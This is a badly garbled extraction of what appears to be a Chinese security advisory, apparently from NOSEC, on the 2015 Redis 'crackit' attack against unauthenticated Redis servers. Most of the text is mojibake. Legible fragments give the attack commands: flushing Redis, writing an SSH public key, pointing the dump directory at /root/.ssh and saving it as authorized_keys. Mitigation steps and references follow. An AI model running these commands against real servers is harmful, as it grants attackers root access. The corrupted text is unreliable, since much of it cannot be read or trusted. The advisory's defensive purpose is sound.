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1& �3&

&��Í,hĤ�ą�Ķp~6TĨredisŭŨŎƕ�Ɖ¤�J!ŖŏžŞ�EŏÈĭ

D=�-�Žč�ŤČĭåN�-�šƉ¤Linuxû[{��Ąredisû[{:Ĩroot“Ɠt

\�·�ĘúƅŐũŮ�ªkŘŘ�¥średisçÛ���û[{ŠĝZŵnĨ sshſľī

À�!

ŊźĬ³ė�E~Əĭž
ēPă�ĒčåN�-¯Ŋ¥śŚ§3000¡÷Ɨredisû[

{ŠÌYD=�Í,1�qōØōøëž
ē\Æ�!

2& 
���&

&��`12ġ­m�Í,�Fŏƃőĭ�l�EÜƉû[{ƒōŦh�½²uŧ�ú

�lredisçÛŠŁĢĞŀ�ƁźPăhĤ	!

!! ÐŞ�flushallĞŀçÛĭã8!

!! �redisçÛ�ë»�
�p�crackitĭkeyƋ@�J¢�ssh<rsa!AAAAB3Nza<Ē

�ĴĪŜ´�ĕ>mo6BLZV4/!crack@redis.io�!���!

!

!! �/root/.sshé-��ë»�
�authorized_keysé-�J¢ÃñôóredisħÌĭ

db�žVé-�ƆƙĞöĭĵUcrackit¤ºJ¢��ªóD=Ŕ©ůƁźƅŐ
�

sshĭkeyĂžŞīÀ�J¢���	!

!
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3& ���,&

UıW�Đ�Í,żîęñĺĭ¤ĒčD=źľ���ĠěD=�}�redis�ìŏŃ

·ü¤Ēà<ş��Ś§ıW�ĐĵUTĨĭźľƄó� redisà<ĭđ²YŘ�ŕ�Ž

�Ǝƚ�2014¶9ùªŠ8�ſľ)ķÐŞRCEĭÔþƎƚ8�F¼h°�·ÄU�¦ŝ�

ĭ2â�!

ŊźcrackitĭGƋ�Ćű��2015¶11ù4ï��EĸĿ%vAntirezĭblog

�http://antirez.com/news/96�F°�
�redisà“ĭÔ®���
&¶
a¶TĨredis

Lé-ĭìęŠ�ƇºĨ�Ɓ²ƄóLDwebshell8�ŏŃqƍľ¹�ŕŽč8Ŕ« ŒÔ

þëĭTĨÇŷ�é-4Őĭj^ŪTĨ�õ
�Šæ���śËÇóTĨredis�ĨÏı

ÀLD
�sshļƊé-�'ŕ»ł
�>.Gň�Žć�ƖšŹDssh£ķªk+īD�!

�ÔþéĉŠF°+q�¼�ú
Ò��#�žŞ�PăƜŮx�ƑTĨĭ��11ù7

ï­mŏ
¯ŊŘÓU
"ŏŃŃƌhĤƁźredisŠD=ĭĈ;�3ó¿ðżó¦ŝ�ĭ

TĨ�ĲU&��Ž�ĠěŠĨ �Ƒĭ�ŤČÑßxD=�ŽčĭÑßƘ²Ň÷�Ĺ�È

��ŝ�¸�1ĲÝSƔû[{
ĭçÛ�·�ĝZC£ķīÀĭŵn�!

4! �(6�!

��ø�ĭĥťƐÕìę�Í,¤HžŞ��èĭÔþżd�!

ģ�šĖ	+roott\ĭredis�k+ſľīDUredis!console!
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ƛB�9ĭƀÝÿ{
ŹD	!

!

ĂħÌ
�FƊ�!

�

�

ħÌUtxt! ! (echo!<e!"\n\n"^!cat!id_rsa.pub^!echo!<e!"\n\n")!>!foo.txt!

Ģq	redis<cli!<h!xxxx!flushall!Ğŀredis�Ƙ²÷X�Ų[Å�Ĝůģ�ÐŞ�!

ÐŞ	cat!redis.txt!|!redis<cli!<h!xxxx!<x!set!pwn!

ĢqīÀredis�ÐŞ��w*	!
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ƙw*óųĨconfig!setw*¤redisĭ�/é-ŷÂžŞ?ä�ĢqÐŞsavežŞħÌ�

/é-�ŽƆóħÌ�authorized_keysé-��Žćªk+:Ĩý�ĭļƊeīDŠċD

FƊĭsshû[{��

!

�
�

5! ����!

òåN¤Ŵ	!

!! Redisû[{!

!! Linuxģ�!
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!! ¤Fŏ¼æ!

!! ütĨũŮ!

!! +rootì¾t\�ƘÅƖ�!

!

ĤŴ	!

!! redisƄŠÐŞźflushallw*žŞĞŀ!

!! redisJë»crackitĭkey!

!! redisĭdirfçŠÙr�/root/.sshé-�!

!! /root/.sshıÀ�1ħÌ
�authorized_keysé-�ÎŔŢİĤúĭ�!

6! �2���4!

!! +5“Ɠt\redis!

QÚUH(ĨÏsu!xxx�ĢqKt\server�QÚósĚË�Wé-“Ɠ��Ɩšĳº?ä��!

!! ŋredis�ZƜŮ�!

?äredis.confé-!

!

!! ĻĐ¤Fŏ¼æ�!

?äredis.confé-!

!

!! ĊĆĨÏ.sshıÀ�ós¯Ŋ��Ƙęĭauthorized_keysé-!

!

ƈ redis·�à<H(ŵnt\û[ĭřý�¥śĤŏ�Ƈredisû[{óƁźrootĭ
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“ƓĂt\init.d�ĭû[řý�3ó�ìñĺLU���E�QŬ]:ĨrootŸ/t\�

http://redis.io/topics/security

! !

7! 2	) !

ƁźÍ,Rēĭ×ćųĆ�Í,ài�3�l¤Fŏ¼æĭredisû[{ŶžPă�hĤ

H�ú4844lüžŞƜŮƅŐ�ú2712lû[{ŠD=�±úcrackit�Ĕ��!

çÛÍ,1�qōžŞØōøë�!

8& �1&

!! A!few!things!about!Redis!security!http://antirez.com/news/96!

!! Trying!to!hack!Redis!via!HTTP!requests!

http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_request

s/index.html!

!! Redis!Security!http://redis.io/topics/security!

!! http://v2ex.com/t/234520! !

!

9! ����!

_$Ĭ³ėĽÔúƓFoó
¡�Ě �E�çÛ�0��ŗÊÖ��0�à<¨ń�
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E#yxû[ĭ
¡ƝĽÔ!Ŗŏ0��!

NOSEC�çÛ�Eb8µl�NOSEC.ORG�óHí�ĭ
ď�çÛ�Eb8µl�

�4>É�E'�Ŕ�Ħ�MO ��ĨÏà<�E�çÛ>ÉgƝŉ¬IŅ�:Ĩ¤Ŵ�

š�Ĭ³��>É�E'�Ŕ�g0�ĨÏ�!

�ú.7Ëţx»ū�ĎŻƁź��ì¾�Í,Ŗň	!

ŖňƂņ	support@nosec.org 

�ûĩŰ	  400-650-2031!


